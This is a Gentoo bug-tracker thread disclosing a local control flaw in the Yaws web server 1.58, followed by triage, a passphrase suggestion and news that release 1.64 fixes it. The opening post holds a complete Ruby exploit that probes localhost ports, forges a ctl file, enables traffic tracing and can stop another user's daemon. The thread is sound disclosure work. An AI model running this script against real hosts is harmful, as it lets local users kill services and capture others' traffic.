Yaws creates a temporary file for the server in /tmp/yaws/default/ctl which is only readable by root or the user who created it. The ctl file allows a user to control the daemon with a series of commands (but the thing stored in ctl is just the port the daemon controller is listening on)... Allowing on the admin to kill the daemon or turn on traffic logging (which logs to /var/log/yaws/trace.traffic which has insecure permissions too btw). Anyhow long story short... a user can guess the port of someone else's daemon and include it in his/her own ctl file... Thus gaining control of another user's daemon.... I wrote and included an exploit... #!/usr/bin/ruby require 'timeout' #Assuming /tmp/yaws has already been created CTL_DIR = "/tmp/yaws/nasty" CTL_NAME = "ctl" #Assuming the exploit works some goodies may be found in /var/log/traffic.trace #if this is enabled TURN_ON_YAWS_TRAFFIC_TRACE = true KILL_THE_SERVER = false @openPorts = [] def find_open_ports() netstat = %x{netstat -nat} lines = netstat.split(/\n/) for line in lines do tokens = line.split(/\s+|\:+/) @openPorts << tokens[4] if tokens[3] == "127.0.0.1" end end def create_ctl_dir() Dir.mkdir(CTL_DIR) unless File.exists?(CTL_DIR) end def create_ctl_file(port) begin ctl_file = File.new(CTL_DIR + "/" + CTL_NAME, "w") ctl_file.print(port) rescue print "Caught error while creating ctl file\n#{$!}\n" ensure ctl_file.close unless ctl_file.nil? end end def attempt_yaws_ctl() output = "" io = IO.popen("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -S") Timeout::timeout(5) do while io.gets do output = $_ end end io.close print "#{output}" if output.nil? return false elsif !output.scan("Uptime").nil? return true else return false end end def enable_traffic_trace() io = IO.popen("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -j traffic") while io.gets do output = $_ end io.close if output.scan("Turning on trace").nil? print "Unable to turn on trace\n" return false elsif output.scan("Trace of traffic is already turned on") print "Traffic trace is already on... check /var/log/yaws/traffic.trace\n" return true else print "Trace should be now enabled... check #{output.split.last}\n" return true end end def kill_the_server() system("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -s") end def try_all_ports() for port in @openPorts do create_ctl_file(port.chomp) if attempt_yaws_ctl() print "This box looks exploitable\n" enable_traffic_trace() if TURN_ON_YAWS_TRAFFIC_TRACE kill_the_server() if KILL_THE_SERVER return true end end print "This box doesn't look exploitable\n" return false end print "Yaws daemon control exploit by rootfiend\n"\ "Tested on Yaws version 1.58 installed from Gentoo's Portage\n\n" find_open_ports() create_ctl_dir() try_all_ports() File.delete(CTL_DIR + "/" + CTL_NAME) unless !File.exists?(CTL_DIR + "/" + CTL_NAME) Dir.delete(CTL_DIR)
*** Bug 159603 has been marked as a duplicate of this bug. ***
I dropped mkennedy an email.
Thanks, note you can also add mkennedy@gentoo.org in the Cc: field. However, i don't understand the impact... since the admin is already able to run a simple "netstat -p" in order to find the relevant port. Unless i missed something... What permissions would you want to have on the file?
Correct, anyone can run netstat -p or whatever. The problem is, the daemon requires no authentication to kill it or turn on trace. If you know what port it's listening on a user can simply create his or her own ctl file and issue a command like "/usr/bin/yaws -I fakectl -s" and stop the daemon. The default ctl file has perms of 600 and only contains the port the controller is listening on (like its some kind of secret). My recommendation would be to add a passphrase to the ctl file so "johnnyuser" would have to somehow figure out the passphrase in order to control the daemon. In summary, as it stands right now, any user can stop the yaws server at anytime... and thats a problem. mkennedy: I understand this probably just needs to go upstream.
I understand that the file does have secure permissions (what is the problem with the admin reading that file? the admin can already do whatever he wants on the box), but the listening port can be guessed by a local user with "netstat -l". A little bit like bind and rndc, but the client on the rndc socket must have the secret shared key in the configuration file. I'll try to have a look at it this week-end but i have no time now, sorry. Maybe a member of the auditing team could have a look before that.
Howdy, I'm the main developer for Yaws. The particular bug you are discussing was fixed in release 1.64 in July this year.
Excellent, thanks klacke. So it looks like the maintainer just needs to upgrade yaws to something > 1.64
(In reply to comment #7) > Excellent, thanks klacke. So it looks like the maintainer just needs to > upgrade yaws to something > 1.64 > correct,
mkennedy retired, suggest sending a call for maintainer to -dev ML. :)
ML: I think Yaws needs a new maintainer now that mkennedy is gone.
Hum, I believe that jakub meant: "send an email to the gentoo-dev mailing list", not "contact the ml team". We deal with caml/sml related packages, and this is erlang.
-dev mailed
*** Bug 169019 has been marked as a duplicate of this bug. ***
Merging bugs *** This bug has been marked as a duplicate of bug 158958 ***